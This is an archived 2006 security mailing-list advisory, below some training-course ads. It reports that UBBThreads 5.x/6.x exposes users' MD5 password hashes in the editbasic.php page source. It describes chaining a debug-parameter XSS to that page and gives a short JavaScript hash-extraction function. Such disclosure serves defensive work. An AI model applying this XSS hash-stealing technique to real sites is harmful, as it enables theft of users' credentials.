Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

UBBThreads 5.x,6.x md5 hash disclosure

Subject: UBBThreads 5.x,6.x md5 hash disclosure
Date: 29 May 2006 02:14:16 -0000
UBBThreads 5.x,6.x md5 hash disclosure
-------------------------------------------
Using XSS such as the one reported earlier:

http://[site]/[ubbpath]/index.php?debug=[xss]

will allow you to inject javascript and steal MD5 Hashes from:

http://[site]/[ubbpath]/editbasic.php

The MD5 is automatically included in the source of the html for a logged on 
user, the field type is password so it appears as "******" - although the 
source contains the MD5.  Below is an example snippet of the html source:


<input type="password" name="ChosenPassword" 
value="81dc9bdb52d04dc20036dbd8313ed055" class="formboxes" />
<br />
<br />
Verify Password
<br />

<input type = "password" name = "Verify" value = 
"81dc9bdb52d04dc20036dbd8313ed055" class="formboxes" />

A malicious attacker could force a user to perform a GET request to the xss 
containing js to steal their hash.  

The below javascript would grab the MD5 using the XMLHttpRequest object.  str 
is defined as the ResponseText from XMLHttpRequest()

function findmd5(str){
        var s = str.indexOf('name="ChosenPassword" value="');
        var e = str.indexOf('" class=f', s);
        return str.substring(s+29, e);
}
-------------------------------------------------
Discovered By: 

splices
www.securident.com

<Prev in Thread] Current Thread [Next in Thread>
  • UBBThreads 5.x,6.x md5 hash disclosure, chris <=